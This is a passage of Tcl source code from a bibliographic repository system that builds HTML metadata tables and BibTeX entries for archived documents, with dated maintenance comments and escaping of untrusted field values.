{$imageFlag && [string equal {Image} $referenceType] && [file isdirectory $homePath/col/$rep/images]} { set targetFileExtension [file extension $targetFile] if [info exists metadataArray(${rep-i},imagesize)] { set imageSize " ($currentRepositoryMetadataArray(${rep-i},imagesize))" } else { set imageSize {} } ConditionalSet numberOfFiles currentRepositoryMetadataArray(${rep-i},numberoffiles) 0 # if {[regexp -nocase {^\.(jpg|bmp)$} $targetFileExtension] && $numberOfFiles > 2} # ;# commented by GJFB in 2023-07-16 if {[regexp -nocase {^\.(jpg|jpeg|bmp)$} $targetFileExtension] && $numberOfFiles > 2} { ;# added by GJFB in 2023-07-16 # display gallery # set tooltipText $translationTable(open the gallery) set tooltipText $translationTable(open the gallery) # set documentURL http://$localSite/rep-/$rep?ibiurl.language=\$language&displaytype=Gallery ;# # commented by GJFB in 2014-04-04 - see new code in CreateAbsolutePath set documentURL http://$localSite/rep-/$rep?ibiurl.backgroundlanguage=\$language } else { set tooltipText $translationTable(zoom in)$imageSize set documentURL http://$localSite/rep/$rep?ibiurl.backgroundlanguage=\$language } lappend output "\ \
\
\ \ \ \
\ 		\ " } else { lappend output "
" } } else { lappend output "" } lappend output "" set color1 #DCDCDC set color2 #EEEEEE set color3 #ECDCDC set color $color1 array set colorArray [list 1 $color1 2 $color2 3 $color1 4 $color3 5 $color1 6 $color2 7 $color3] array set areaArray { 1 {Identity statement area} 2 {Context area} 3 {Content and structure area} 4 {Conditions of access and use area} 5 {Allied materials area} 6 {Notes area} 7 {Description control area} } # creatorFieldName (author, editor,...) set creatorFieldName $referenceTypeXcreatorNameArray($referenceType) if [info exists metadataArray(${rep-i},$creatorFieldName)] { set $creatorFieldName $metadataArray(${rep-i},$creatorFieldName) } else { # no creator informed set $creatorFieldName {} } # lappend output --$creatorFieldName-- # => --author-- set creatorListLength [llength [set $creatorFieldName]] # size ConditionalSet size metadataArray(${rep-i},size) {} # output2 set output2 {} if 0 { # Is a copy? if ![string equal {} $size] { # not just a reference if [GetDocumentState $rep] { lappend output2 "" } else { lappend output2 "" } } } else { # Is the master or a copy? # if ![string equal {} $size] # ;# commented by GJFB in 2021-05-01 if !$i { ;# added by GJFB in 2021-05-01 - to include Archival Unit # not just a reference if [GetDocumentState $rep] { lappend output2 "" } else { lappend output2 "" } } } # serverName # if $staticIPFlag {set serverName urlib.net} else {set serverName $localSite} ;# added by GJFB in 2018-01-06 - commented by GJFB in 2018-06-06 - produces the error "empty expression" when the communication with urlib.net fails if {![string equal {} $staticIPFlag] && $staticIPFlag} {set serverName urlib.net} else {set serverName $localSite} ;# added by GJFB in 2020-08-08 - if the communication with urlib.net fails then staticIPFlag value is set to empty # serverName2 if $standaloneModeFlag {set serverName2 $localSite} else {set serverName2 urlib.net} ;# added by GJFB in 2021-05-22 # lappend output2 --$standaloneModeFlag-- # output3 set output3 {} ;# added by GJFB in 2021-01-08 if {![string equal {} $size] || [string equal {Archival Unit} $referenceType]} { # not just a reference # noAccessRestrictionFlag ConditionalSet readPermission metadataArray(${rep-i},readpermission) {} set noAccessRestrictionFlag [ComputeAccessRestrictionFlag $readPermission $remoteIp] # download if {$noAccessRestrictionFlag && ![string equal $loCoInRep $repository]} { if [string equal {} $identifier] { # lappend output3 "" ;# commented by GJFB in 2021-10-09 lappend output3 "" ;# added by GJFB in 2021-10-09 if ![string equal {Archival Unit} $referenceType] {lappend output3 ""} } else { # lappend output3 "" ;# commented by GJFB in 2021-10-09 lappend output3 "" ;# added by GJFB in 2021-10-09 if ![string equal {Archival Unit} $referenceType] {lappend output3 ""} } } } ## document stage # content stage if {[info exists currentRepositoryMetadataArray(${rep-i},year)] || \ [string equal {Data} $referenceType] && [info exists currentRepositoryMetadataArray(${rep-i},date)] || \ [string equal {Film or Broadcast} $referenceType] && [info exists currentRepositoryMetadataArray(${rep-i},yearreleased)]} { lappend output2 "" } else { lappend output2 "" } # metadataLastUpdate set metadataLastUpdate $currentRepositoryMetadataArray(${rep-i},metadatalastupdate) regsub -all { } $metadataLastUpdate {+} metadataLastUpdate2 set metadataLastUpdate2 [EscapeUntrustedData $metadataLastUpdate2] ;# added by GJFB in 2019-04-30 - the date may contain untrusted data ## site # set site [GetServerAddress] if [info exists metadataRep] { # history set history {} set previousUser {} array set previousHistoryArray {} set yearChange {} foreach item $repositoryProperties($metadataRep,history) { set currentUser [lindex $item 2] if {[llength $item] == 4} { array set currentHistoryArray [lindex $item 3] } else { array set currentHistoryArray {} } set userChange $previousUser if {![string equal {} $previousUser] && ![string equal {} $currentUser]} { if {![string equal $previousUser $currentUser]} { set userChange "$previousUser -> $currentUser" } } if {[regexp -- {->} $userChange] || [regexp -- {->} $yearChange]} { lappend history "[ReturnDate [lindex $previousItem 0]] :: $userChange :: $yearChange" } ConditionalSet yearChange previousHistoryArray(D) {} if {![string equal {} [array get previousHistoryArray]] && \ ![string equal {} [array get currentHistoryArray]]} { if {![string equal $previousHistoryArray(D) $currentHistoryArray(D)]} { set yearChange "$previousHistoryArray(D) -> $currentHistoryArray(D)" } } set previousUser $currentUser array set previousHistoryArray [array get currentHistoryArray] set previousItem $item } # user name if [info exists currentRepositoryMetadataArray(${rep-i},username)] { set userName $currentRepositoryMetadataArray(${rep-i},username) if ![string equal $userName $currentUser] { set userChange "$currentUser -> $userName" } else { set userChange "$currentUser" } } else { set userChange "$currentUser ->" } if {[regexp -- {->} $userChange] || [regexp -- {->} $yearChange]} { lappend history "[ReturnDate [lindex $previousItem 0]] :: $userChange :: $yearChange" } } # wordArray # lappend output --$keywords-- # return [list $metadataLastUpdate $output] array set wordArray $keywords # >>> lappend output [array get fieldNameXareaArray] # lappend output [lsort -command FieldCompare [array names currentRepositoryMetadataArray ${rep-i},*]] # set accessDatefilled 0 array set bookTitleXreferenceTypeArray { Abstracts {Conference Abstract} Resumos {Conference Abstract} Abstracts/Posters {Conference Abstract/Poster} Resumos/Pôsteres {Conference Abstract/Poster} {Extended Abstracts} {Conference Extended Abstract} {Resumos Extendidos} {Conference Extended Abstract} Posters {Conference Poster} Pôsteres {Conference Poster} Videos {Conference Video} Vídeos {Conference Video} } # lappend output --$mirrorGetFlag-- # lappend output [encoding system] # => utf-8 using gjfb0520 if $mirrorGetFlag { ;# added by GJFB in 2022-02-07 ConditionalSet nexthigherunit metadataArray(${rep-i},nexthigherunit) {} ConditionalSet title metadataArray(${rep-i},title) {} ConditionalSet shorttitle metadataArray(${rep-i},shorttitle) {} # Create automatic short title # added by GJFB in 2018-01-09 if [string equal {} $shorttitle] { regsub -all {"} $title {} title2 ;# added by GJFB in 2018-02-13 to avoid error like 'list element in quotes followed by "," instead of space' when running lrange set shorttitle [lrange $title2 0 2] if {[llength $title2] > 3} { set shorttitle $shorttitle... } } # Create automatic short title - end set agencyStructureFlag 1 ;# enable agency structure - don't use urlib.net resolution # STORERETURNPATHARRAY array set returnPathArray [StoreReturnPathArray $nexthigherunit $shorttitle $agencyStructureFlag $rep] } else { if [file exists $homePath/clipboard3/$rep/auxdoc/returnPathArray.tcl] { catch { ;# catch added by GJFB in 2023-03-12 - for some reason returnPathArray.tcl might be corrupted and must be recreated source $homePath/clipboard3/$rep/auxdoc/returnPathArray.tcl ;# set returnPathArray } } } # FOREACH set previousAreaNumber 0 # set fieldList [lsort -command FieldCompare -unique [concat [array names currentRepositoryMetadataArray ${rep-i},*] [list ${rep-i},accessdate]]] ;# commented by GJFB in 2020-12-19 - -unique here doesn't solve unicity of accessdate set fieldList [lsort -command FieldCompare [lsort -unique [concat [array names currentRepositoryMetadataArray ${rep-i},*] [list ${rep-i},accessdate]]]] ;# added by GJFB in 2020-12-19 - two lsort are required # lappend output $fieldList # foreach index [lsort -command FieldCompare [array names currentRepositoryMetadataArray ${rep-i},*]] # ;# commented by GJFB in 2020-11-15 foreach index $fieldList { ;# added by GJFB in 2020-11-15 # VALUE # set value $currentRepositoryMetadataArray($index) ;# commented by GJFB in 2020-11-15 ConditionalSet value currentRepositoryMetadataArray($index) {} ;# added by GJFB in 2020-11-15 # lappend output [list $index $value] # Store value C:/tmp/bbb.txt auto 0 a # regsub -all {<} $value {\<} value ;# commented by GJFB in 2018-06-14 # regsub -all {>} $value {\>} value ;# commented by GJFB in 2018-06-14 set value [EscapeUntrustedData $value] ;# added by GJFB in 2018-06-14 regsub -all {""} $value {"} value ;# "" -> " # regsub -all {\\} $value {\\\\} value ;# \ -> \\ ($\mu$) - useful in abstract ;# commented by GJFB in 2018-06-14 # regsub -all {\$} $value {\$} value ;# $ -> \$ ($w$-operator) ;# commented by GJFB in 2018-06-14 regsub -all {\\} $value {\\\\} value ;# \ -> \\ - added by GJFB in 2023-05-14 to preserve backslash (\) in abstract like: 11. "22". 33\ 44. ($\mu$) ($w$-operator). # field regsub {.*,} $index {} field ;# author # lappend output $field ;# referencetype identifier repository metadatarepository site citationkey title ... # lappend output --$value-- # lappend output "" # drop some fields if [string equal {Conference Proceedings} $referenceType] { if [regexp {^$|^first|^index$|^supervisor$|^agreement$|^lasthostcollection$|^subject$|^session$} $field] {continue} ;# added by GJFB in 2020-12-14 - with the Conference Proceedings reference type, subject and session are used to create event programme, while type (%9) - for theme - is used to create proceedings in full metadata, this is the reason why subject and session are not displayed } else { if [regexp {^$|^first|^index$|^supervisor$|^agreement$|^lasthostcollection$} $field] {continue} } if [regexp $excludedFields $field] {continue} if [string equal {} $size] { # just a reference # if [regexp {^repository$|^lastupdate$|^size$|^numberoffiles$|^hostcollection$} $field] {continue} # if [regexp {^lastupdate$|^size$|^numberoffiles$|^hostcollection$} $field] {continue} if [regexp {^(lastupdate|size|numberoffiles)$} $field] {continue} ;# added by GJFB in 2016-01-16 } # Reference Type if [regexp {^referencetype$} $field] { ;# added by GJFB in 2020-12-26 if [regexp {^(Conference Proceedings|Audiovisual Material)$} $referenceType] { if [info exists currentRepositoryMetadataArray(${rep-i},booktitle)] { set bookTitle $currentRepositoryMetadataArray(${rep-i},booktitle) if [info exists bookTitleXreferenceTypeArray($bookTitle)] { set value "$translationTable($bookTitleXreferenceTypeArray($bookTitle)) [expr [string equal $translationTable($bookTitleXreferenceTypeArray($bookTitle)) $referenceType]?{}:{($referenceType)}]" } else { set value "$translationTable($referenceType) [expr [string equal $translationTable($referenceType) $referenceType]?{}:{($referenceType)}]" } } else { set value "$translationTable($referenceType) [expr [string equal $translationTable($referenceType) $referenceType]?{}:{($referenceType)}]" } } else { set value "$translationTable($referenceType) [expr [string equal $translationTable($referenceType) $referenceType]?{}:{($referenceType)}]" } } # Reference Type - end if [regexp {^lastupdate$} $field] { ;# added by GJFB in 2020-11-14 to simplify the output # 2020:11.14.20.27.34 dpi.inpe.br/banon/1999/01.09.22.14 gerald.banon set value [lreplace $value 1 1 (UTC)] # 2020:11.14.20.27.34 gerald.banon } if [regexp {^metadatalastupdate$} $field] { ;# added by GJFB in 2020-11-14 to simplify the output # 2020:11.14.20.30.05 dpi.inpe.br/banon/1999/01.09.22.14 gerald.banon {D {}} set value [lreplace [lrange $value 0 2] 1 1 (UTC)] # 2020:11.14.20.30.05 gerald.banon } if {[string equal {Archival Unit} $referenceType] && [string equal {contents} $field]} { # contents set contentsList {} foreach {searchExpression title} $value { lappend contentsList [list $searchExpression $title] } set value [join $contentsList
] ;# added by GJFB in 2013-04-13 } if {$field == "size"} { set size [lindex $value 0] if {$size <= 1} { set value "$size \$Kbyte" } else { set value "$size \$Kbytes" } } # curriculo Lattes if {$field == "label"} { regsub {^lattes: (\d+) (.*)} $value {lattes: \1 \2} value } # Google Scholar if {$field == "title"} { regsub -all {"} $value {} value2 ;# " -> {} # regsub -all { } $value2 {+} value2 ;# not needed set value2 [SetNoMatch $value2 no yes 1] ;# Google doesn't work properly with accent if ![string equal {} $size] { # not just a reference regsub -all {/} $rep {__} window regsub -all {\.|@|-} $window {_} window # set value "[HighlightWord $field $value]" ;# commented by GJFB in 2018-06-01 set value "[HighlightWord $field $value]" } else { set value $value } set defaultMirrorHomePageRep dpi.inpe.br/banon/2000/01.23.20.24 set value "$value " # set value "$value" } # notes # repository # databaserepository # identifier if {![string equal {} $size] || [string equal {Archival Unit} $referenceType]} { # not just a reference or an Archival Unit if [regexp {^(repository|databaserepository|identifier)$} $field] { regsub -all {/} $value {__} window regsub -all {\.|@|-} $window {_} window # set metadataRep2 [FindMetadataRep $value] ;# commented by GJFB in 2018-06-01 - useless and doesn't work with identifier # set value "<\;$value>\;" # set value "<\;$value>\;" # set value "<\;$value>\;" # set value "<\;[HighlightWord $field $value]>\;" # set value "[HighlightWord $field $value]" # set value "[HighlightWord $field $value]" ;# commented by GJFB in 2018-06-01 # set value "[HighlightWord $field $value]" ;# commented by GJFB in 2022-06-03 set value "[HighlightWord $field $value]" ;# added by GJFB in 2022-06-03 - language is required when the metadata must be displayed in place of the data (in case of a full deny) } } # previousedition # nextedition if [regexp {^(previousedition|nextedition)$} $field] { regsub -all {/} $value {__} window regsub -all {\.|@|-} $window {_} window set metadataRep2 [FindMetadataRep $value] # set value "[HighlightWord $field $value]" set value "[HighlightWord $field $value]" } # lappend output [list $index $value] # nexthigherunit # previouslowerunit if [regexp {^(nexthigherunit|previouslowerunit)$} $field] { set list {} foreach item $value { if [TestContentType $item Metadata] {continue} # regsub -all {/} $item {__} window ;# commented by GJFB in 2024-01-29 # regsub -all {\.|@|-} $window {_} window ;# commented by GJFB in 2024-01-29 set metadataRep2 [FindMetadataRep $item] # lappend list "[HighlightWord $field $item]" ;# commented by GJFB in 2021-05-22 # lappend list "[HighlightWord $field $item]" ;# added by GJFB in 2021-05-22 - commented by GJFB in 2022-02-16 lappend list "[HighlightWord $field $item]" ;# added by GJFB in 2022-02-16 } # set value [join $list
] set value $list # Store value C:/tmp/bbb.txt auto 0 a } # citingitemlist # added by GJFB in 2024-01-21 if [regexp {^citingitemlist$} $field] { set list {} # lappend output --$value-- foreach item $value { # lappend output --$item-- foreach {repository frequency} $item {break} set metadataRep2 [FindMetadataRep $repository] lappend list "[HighlightWord $field $repository] $frequency" } set value $list # Store value C:/tmp/bbb.txt auto 0 a } if [string equal {repository} $field] { if {[info exists metadataArray(${rep-i},readpermission)] && \ [regexp {deny} $metadataArray(${rep-i},readpermission)] && \ [info exists metadataArray(${rep-i},size)]} { # restricted access # translationTable(restricted access) is defined in mirror/xxSearchResult.tcl (where xx is en, pt-BR, ...) append value "   ($translationTable(restricted access))" } } if [regexp {^(usergroup|readergroup)$} $field] { set value [join $value
] } if {$field == "url"} { # url # set value "<\;[HighlightWord $field $value]>\;" # set value "[HighlightWord $field $value]" ;# commented by GJFB in 2018-06-05 - the URL value may be an untrusted data # set value "[HighlightWord $field $value]" ;# added by GJFB in 2018-06-05 - XSS prevention - commented by GJFB in 2022-01-03 - redundant, HighlightWord will be called again below (see '# is not a web link') } if {$field == "doi"} { # doi # set value [list "<\;[HighlightWord $field $value]>\;"] # set value [list "[HighlightWord $field $value]"] ;# commented by GJFB in 2022-03-07 set value "[HighlightWord $field $value]" ;# added by GJFB in 2022-03-07 } if 0 { # commented by GJFB in 2018-05-31 while introducing the new field name: holdercode - secondarykey for Image is no more a reference code as define in ISAD(G) - now the reference code would be the holdercode value plus the identifier value (not implemented) if {$field == "secondarykey" && [string equal {Image} $referenceType]} { set value "$value $identifier" } } if [regexp {^(childrepositories|parentrepositories|copyright)$} $field] { regsub -all {/} $rep {__} window ;# added by GJFB in 2024-01-29 regsub -all {\.|@|-} $window {_} window ;# added by GJFB in 2024-01-29 set list {} # Store value C:/tmp/aaa auto 0 a foreach item $value { if [TestContentType $item Metadata] {continue} # lappend list "<\;$item>\;" regsub -all {/} $item {__} prefix regsub -all {\.|@|-} $prefix {_} prefix # lappend list "<\;$item>\;" # lappend list "<\;$item>\;" # lappend list "<\;[HighlightWord $field $item]>\;" if 0 { # commented by GJFB in 2020-08-08 lappend list "[HighlightWord $field $item]" } else { # added by GJFB in 2020-08-08 - copyright repositories are in urlib.net if [regexp {^copyright$} $field] { # lappend list "[HighlightWord $field $item]" ;# commented by GJFB in 2024-06-01 lappend list "[HighlightWord $field $item]" ;# added by GJFB in 2024-06-01 - copyright repositories are in urlib.net - they can be reach using a relative hyperlink } else { lappend list "[HighlightWord $field $item]" } } } # Store value C:/tmp/aaa auto 0 a set value [join $list
] } if {$field == "site"} { # set value "<\;[HighlightWord $field $localSite]>\;" set value "[HighlightWord $field $localSite]" } if {$field == "hostcollection"} { set value [join $value
] # set hostCollection $value } if {$field == "holdercode"} { set value [join $value
] } if {$field == "dayofbirth"} { regsub {^\d{4,}-(.*)$} $value {YYYY-\1} value ;# hide the year of birth } if {$field == "documentstage"} { if [string equal {not transferred} $value] { set value "\${not transferred}" } else { set value "\${transferred to} $value" } } # targetfile if {$field == "targetfile"} { ;# added by GJFB in 2021-01-20 to display the correct number of white spaces regsub -all { } $value {\ } value } if {$field == "username"} { ;# added by GJFB in 2020-12-04 to place username together with the update button set userNameValue $value continue } # set xxx --$value-- # Store xxx C:/tmp/bbb.txt auto 0 a # lappend output $field # Store field C:/tmp/aaa auto 0 a # if [regexp {^affiliation|^author|^base|^cartographer|^committee|^editor|^electronicmailaddress$|^group|^programmer|^reporter|^serieseditor|^source|^supervisor|^translator} $field] if {[lsearch -exact $multipleLineFieldNameList $field] != -1 && !([string equal {Electronic Source} $referenceType] && [string equal {producer} $field])} { # multiple line fields and not (Electronic Source and producer) (producer is not a multiple line field for Electronic Source) # drop some fields set value [MultipleRegsub {,*$} $value {}] ;# drop trailing commas # lappend output $multipleLineFieldNameList # lappend output $field # lappend output --$value-- if 0 { # commented by GJFB in 2022-05-07 - complicated code if {[info exists creatorListLength] && $creatorListLength > 1} { # if [regexp "^($creatorFieldName|resumeid|orcid|group|affiliation|electronicmailaddress)$" $field] # ;# removed by GJFB in 2019-05-10 switch -regexp -- $field "^($creatorFieldName|resumeid|orcid|group|affiliation|electronicmailaddress)$" { set stringLength [string length $creatorListLength] set j 1 set enumeratedList {} foreach item $value { regsub -all { } [format %${stringLength}s $j] {\ } j2 ## lappend enumeratedList "
  • $item
    • " # lappend enumeratedList "$j2 $item" switch -exact $field resumeid { lappend enumeratedList "$j2 $item" } orcid { lappend enumeratedList "$j2 $item" } default { lappend enumeratedList "$j2 $item" } incr j } # set value "
      [join $enumeratedList
      ]
    " set value [join $enumeratedList
    ] } default { set value [join $value
    ] } } else { # set value [join $value
    ] switch -regexp -- $field resumeid { set value "$value" } orcid { set value "$value" # # {component|nexthigherunit|previouslowerunit} # ;# commented by GJFB in 2018-08-23 } {^(component|nexthigherunit|previouslowerunit|notes|committee|editor|archivist|director|serieseditor|seriesdirector)$} { ;# added by GJFB in 2018-08-23 - solves the Conference Proceedings (resp. Archival Unit) reference type which have one author (resp. producer) and more than one editor (resp. arquivist) set value [join $value
    ] } default { set value [join $value] } } } else { # added by GJFB in 2022-05-07 - simplified code if {$creatorListLength > 1} { switch -regexp -- $field "^($creatorFieldName|resumeid|orcid|group|affiliation|electronicmailaddress)$" { set stringLength [string length $creatorListLength] set j 1 set enumeratedList {} foreach item $value { regsub -all { } [format %${stringLength}s $j] {\ } j2 switch -exact $field resumeid { lappend enumeratedList "$j2 $item" } orcid { lappend enumeratedList "$j2 $item" } default { lappend enumeratedList "$j2 $item" } incr j } set value $enumeratedList } } else { switch -regexp -- $field resumeid { set value [list "$value"] } orcid { set value [list "$value"] } } set value [join $value
    ] } } if [string equal {keywords} $field] { ;# added by GJFB in 2021-06-28 # regsub {.$} $value {} value ;# commented by GJFB in 2023-07-29 regsub {\.$} $value {} value ;# added by GJFB in 2023-07-29 regsub -all {,} $value {
    } value } # set xxx --$value-- # Store xxx C:/tmp/bbb.txt auto 0 a # if [regexp {^(author|programmer|reporter|cartographer|creatorname|title)$} $field] # if [regexp ^($creatorFieldName|title)$ $field] { set bg BGCOLOR=#FFFFFF # # elseif {[regexp {^editor$} $field] && [string equal {Edited Book} $referenceType]} # # set bg BGCOLOR=#FFFFFF } elseif {[regexp {^(year|yearreleased)$} $field]} { set bg BGCOLOR=#F5F5F5 } else { set bg "" } if [info exists fieldNameXareaArray($referenceType,$field)] { ;# if added by GJFB in 2022-05-10 - required when the field exists in the metadata and not in fieldNameXareaArray, for example, when the field 'city' exists in the metadata for Conference Proceedings set areaNumber $fieldNameXareaArray($referenceType,$field) } else { continue } if [expr $previousAreaNumber == 2 && $areaNumber == 3] { if ![string equal {} $history] { set history [join $history
    ] lappend output "" } } if [expr $previousAreaNumber == 3 && $areaNumber == 4] { # arrangement # return path if [info exists returnPathArray] { # array set returnPathArray { # 1 {J8LNKB5R7W/3LBEQ3H Recortes J8LNKB5R7W/3D3EHEL {Fonds GJFB} J8LNKB5R7W/3GH56GH Associação J8LNKB5R7W/3QKDKAL AMI {} {Global identifier}} # 2 {J8LNKB5R7W/3LBEQ3H Recortes J8LNKB5R7W/3GH56GH Associação J8LNKB5R7W/3QKDKAL AMI {} {Global identifier}} # 3 {J8LNKB5R7W/3LBEQ3H Recortes J8LNKB5R7W/3QKDKAL AMI {} {Global identifier}} # } # similar code in Get set nameList [array names returnPathArray] set numberOfReturnPaths [llength $nameList] # lappend output --$nameList-- foreach arrangementNumber [lsort -integer $nameList] { # lappend output --$returnPathArray($arrangementNumber)-- if [string equal {} $returnPathArray($arrangementNumber)] {break} ;# added by GJFB in 2022-02-15 to avoid displaying empty arrangement set returnPath {} foreach {ibi shortTitle} $returnPathArray($arrangementNumber) { if [string equal {} $ibi] { lappend returnPath "$shortTitle" } else { # lappend returnPath "$shortTitle" ;# ibiurl.backgroundlanguage is alias for languagebutton - commented by GJFB in 2022-02-16 lappend returnPath "$shortTitle" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2022-02-16 } } set returnPath [join $returnPath { > }] if {$numberOfReturnPaths > 1} { lappend output "" } else { lappend output "" } } } # doc if {!([string equal {} $size] || [string equal {0} $size])} { lappend output "" } else { lappend output "" } # source set dir $homePath/col/$rep/source # foreach {lineList j} [CreateDirectoryContentList $rep $dir $convertToUTF8] {break} # foreach {lineList j} [CreateDirectoryContentList $rep $dir] {break} # foreach {lineList i j} [CreateDirectoryContentList $rep $dir] {break} ;# added by GJFB in 2020-04-10 - $i not used - commented by GJFB in 2020-08-24 foreach {lineList x j} [CreateDirectoryContentList $rep $dir] {break} ;# added by GJFB in 2020-08-24 - i is already in use (rep-i) and must be preserved (in use below) # {source Directory Content} and {there are no files} are defined in xxSearchResult.tcl (where xx is en, pt-BR, ...) set dir $homePath/col/$rep/source set fileList {} DirectoryContent fileList $dir $dir 650 if [string equal {} $fileList] { lappend output "" } else { if 0 { set lineList {} foreach file [lsort -dictionary $fileList] { regsub -all -- {\$} $file {\$} file2 lappend lineList "\ \ \ \ \ \ " } } # Store lineList C:/tmp/bbb.txt auto 0 a lappend output "" } # agreement set dir $homePath/col/$rep/agreement # foreach {lineList j} [CreateDirectoryContentList $rep $dir $convertToUTF8] {break} # foreach {lineList j} [CreateDirectoryContentList $rep $dir] {break} # foreach {lineList i j} [CreateDirectoryContentList $rep $dir] {break} ;# added by GJFB in 2020-04-10 - $i not used - commented by GJFB in 2020-08-24 foreach {lineList x j} [CreateDirectoryContentList $rep $dir] {break} ;# added by GJFB in 2020-08-24 - i is already in use (rep-i) and must be preserved (in use below) ConditionalSet agreementFileList currentRepositoryMetadataArray(${rep-i},agreement) {} if [file isdirectory $dir] { # lappend output "" # lappend output [join $lineList \n] lappend output "" } else { lappend output "" } } # lappend output $areaNumber set color $colorArray($areaNumber) if [expr $previousAreaNumber + 1 <= $areaNumber] { # lappend output "" if {$areaNumber == 1} { lappend output "" } else { lappend output "" } if {$areaNumber == 3} { set output [concat $output $output2] } if {$areaNumber == 4} { set output [concat $output $output3] ;# added by GJFB in 2021-01-08 } } set previousAreaNumber $areaNumber # access date if [regexp {^accessdate$} $field] { # set accessDatefilled 1 ;# commented by GJFB in 2020-11-15 if [string equal {} $value] { # if {![regexp $excludedFields accessdate] && !$accessDatefilled} # lappend output "" continue } } # lappend output "
    $field = $value" if [regexp {} $value] { # is a web link lappend output "" } else { # is not a web link lappend output "" if {$field == "citationkey" && [info exists output2]} { # set output [concat $output $output2] } } # lappend output [list $index $value] } # FOREACH - end set color $color1 # set encodingName [Execute $serverAddress [list GetEncodingName]] # set convertToUTF8 [expr [regexp {Apache/2} $env(SERVER_SOFTWARE)] || [string equal {utf-8} $encodingName]] ;# solves the accent problem - same code is used in xxDocContent.html # set convertToUTF8 [string equal {utf-8} $encodingName] ;# solves the accent problem - same code is used in xxDocContent.html if {$areaNumber != 6} { # lappend output "" lappend output "" } # empty fields set emptyFieldList {} # puts [ReturnReferModel $referenceType] # lappend output [ReturnReferModel $referenceType] foreach field [ReturnReferModel $referenceType] { set field1 [lindex $field 1] ;# author if [string equal {accessdate} $field1] {continue} if [string equal {isbn/issn} $field1] {continue} if {[lsearch [array names currentRepositoryMetadataArray ${rep-i},*] ${rep-i},$field1] == -1} {lappend emptyFieldList $field1} } if {[lsearch [array names currentRepositoryMetadataArray ${rep-i},*] ${rep-i},size] == -1} {lappend emptyFieldList size numberoffiles} # if {[lsearch [array names currentRepositoryMetadataArray ${rep-i},*] ${rep-i},readergroup] == -1} {lappend emptyFieldList readergroup} ;# readergroup is not part of the refer model - commented by GJFB in 2017-05-06 - now readergroup is part of the refer model if {[lsearch [array names currentRepositoryMetadataArray ${rep-i},*] ${rep-i},identifier] == -1} {lappend emptyFieldList identifier} ;# added by GJFB in 2021-07-15 if ![string equal {} $emptyFieldList] { set color $colorArray(6) lappend output "" } # update if {$i == 0} { ## rep # set rep [ReturnRepositoryName $metadataRep] if [TestForUpdate $mirrorRep $remoteIp ${rep-i} $rep] { # lappend output "" # lappend output "" lappend output "" set field username lappend output "" ;# added by GJFB in 2020-12-04 to place username together with the update button set color $colorArray(7) if [string equal {yes} $includeReturnAddress] { # include return address # lappend output "" # lappend output "" # lappend output "" ;# commented by GJFB in 2020-06-19 # lappend output "" ;# added by GJFB in 2020-06-19 - requestURI and display are loaded in LoopOverEntries - display value is set in mirrorsearch.tcl considering that the target frame must be relative to the bibliographic mirror responsible for the search lappend output "" ;# added by GJFB in 2020-06-21 - requestURI and display are loaded in LoopOverEntries - display value is set in mirrorsearch.tcl considering that the target frame must be relative to the bibliographic mirror responsible for the search } else { # lappend output "" # lappend output "" # lappend output "" ;# commented by GJFB in 20211-05-29 lappend output "" ;# added by GJFB in 20211-05-29 } } } lappend output "" lappend output "
    \${Is a Copy?}\$no
    \${Is a Copy?}\$yes
    $translationTable(Is the master or a copy?)$translationTable(is the master)
    $translationTable(Is the master or a copy?)$translationTable(is a copy)
    $translationTable(data URL)http://$serverName/rep/$repository
    $translationTable(data URL)http://$serverName/ibi/$repository
    $translationTable(zipped data URL)http://$serverName/zip/$repository
    $translationTable(data URL)http://$serverName/rep/$identifier
    $translationTable(data URL)http://$serverName/ibi/$identifier
    $translationTable(zipped data URL)http://$serverName/zip/$identifier
    \${Content Stage}\$completed
    \${Content Stage}\${work-in-progress}
    $field
    \$History (UTC)$history
    \${Arrangement} $arrangementNumber$returnPath
    \${Arrangement}$returnPath
    \${doc Directory Content}$translationTable(access)
    \${doc Directory Content}\${there are no files}
    \${source Directory Content}\${there are no files}
    \ $file2\ \ [clock format [file mtime $homePath/col/$rep/source/$file] -format "%d/%m/%Y %H:%M"]\ \ [ set size [file size $homePath/col/$rep/source/$file] if {$size < 1048576} { set size2 [format "%.1f KiB" [expr $size / 1024.]] } else { set size2 [format "%.1f MiB" [expr $size / 1048576.]] } ]\
    \${source Directory Content}[join $lineList]
    \${agreement Directory Link}\${see directory content}
    \${agreement Directory Content}[join $lineList]
    \${agreement Directory Content}\${there are no files}
    $translationTable($areaArray($areaNumber))
    $areaNumber. $translationTable($areaArray($areaNumber))
    $areaNumber. $translationTable($areaArray($areaNumber))
    \$field\::conversionTable(accessdate)\$accessDate
    \$field\::conversionTable($field)$value
    \$field\::conversionTable($field)[HighlightWord $field $value]
    $translationTable($areaArray(6))
    6. $translationTable($areaArray(6))
    \${Empty Fields}[lsort $emptyFieldList]
    $includeReturnAddress \;
    $translationTable($areaArray(7))
    7. $translationTable($areaArray(7))
    \$field\::conversionTable($field)[HighlightWord $field $userNameValue]
    \${update} \;
    \${update} \;
    \${update} \;
    \${update} \;
    $translationTable(update) \;
    \${update} \;
    \${update} \;
    \${update} \;
    \${update} \;

    " # lappend output "
    " lappend output "
    " return [list $metadataLastUpdate $output] # return [join $output \n] } # CreateFullEntry - end # ---------------------------------------------------------------------- # ReturnDate # date example: 2006:03.10.23.19.33 proc ReturnDate {date} { regexp {(....):(..)\.(..)\.(..)\.(..)\.(..)} $date m year month day hour minute second return "$year-$month-$day $hour:$minute:$second" # return "$year-$month-$day" } # ReturnDate - end # ---------------------------------------------------------------------- # CreateFullBibTeXEntry # path example: ../ # path not used proc CreateFullBibTeXEntry {rep-i path mirrorRep} { global metadataArray global homePath set metadataList [array get metadataArray ${rep-i},*] # rep if [regexp {(.*)-0} ${rep-i} m metadataRep] { set rep [ReturnRepositoryName $metadataRep] } # size ConditionalSet size metadataArray(${rep-i},size) {} # isJustReference if {[string compare {} $size] == 0} { # just a reference set isJustReference 1 } else { set isJustReference 0 } set output [CreateBibTeXEntry $metadataList ${rep-i} $mirrorRep $isJustReference] lappend output "" # metadataLastUpdate set metadataLastUpdate $metadataArray(${rep-i},metadatalastupdate) return [list $metadataLastUpdate $output] } # CreateFullBibTeXEntry - end # ---------------------------------------------------------------------- # CreateBibTeXEntry proc CreateBibTeXEntry {metadataList rep-i {mirrorRep {}} {isJustReference 0}} { # runs with post global inverseTable global bib2referRepository global ${bib2referRepository}::r2b global ${bib2referRepository}::r2bTable global loBiMiRep global masterLanguagePattern ;# created in LoadGlobalVariables global multipleLineFieldNameList global 